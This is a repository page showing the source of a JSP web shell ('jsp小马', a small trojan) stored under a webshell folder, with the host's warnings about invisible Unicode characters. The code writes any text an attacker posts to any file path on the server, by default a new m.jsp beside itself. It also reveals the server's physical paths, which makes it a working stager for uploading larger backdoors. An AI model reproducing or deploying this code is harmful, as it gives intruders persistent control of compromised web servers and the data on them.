webshell/jsp/guige.jsp
2013-07-27 17:14:53 +08:00

41 lines
2.5 KiB
Text
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<%@ page language="java" pageEncoding="UTF-8"%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*"%>
<html>
<head>
<title>jsp小马 | Mr Fz's个人专版!严禁用于商业目的!</title>
</head>
<body bgcolor="#ffffff">
<%
String damapath=request.getParameter("path");
String content=request.getParameter("content");
String url=request.getRequestURI();//当前页面
String url1=request.getRealPath(request.getServletPath());//当前求请的JSP文件的物理路径
String dir=new File(url1).getParent(); //当前JSP文件所在目录的物理路径
if(damapath!=null &&!damapath.equals("")&&content!=null&&!content.equals(""))
{
try{
File damafile=new File(damapath);//用file类创建一个damafile对象并指定它的路径damapath
PrintWriter pw=new PrintWriter(damafile);//使用指定文件damafile创建printwriter
pw.println(content);//打印content,并终止打印
pw.close();//关闭流释放资源
if(damafile.exists()&& damafile.length()>0)//判断damafile对象是否存在,
{
out.println("<font size=3 color=red>save ok!</font>");
}else
{
out.println("<font size=3 color=red>save bad!</font>");
}
}catch (Exception ex){
ex.printStackTrace();
}
}
out.println("<form action="+url+" method=post>");
out.println("<font size=2>请输入保存路径:</font><input type=text size=45 name=path value="+dir+"/m.jsp><br>");
out.println("<font size=2 color=red>当前你求请的JSP文件的物理路径:"+url1+"</font><br>");
out.println("<textarea name=content rows=10 cols=50></textarea><br>");
out.println("<input type=submit value=save>");
out.println("</form>");
%>
</body>
</html>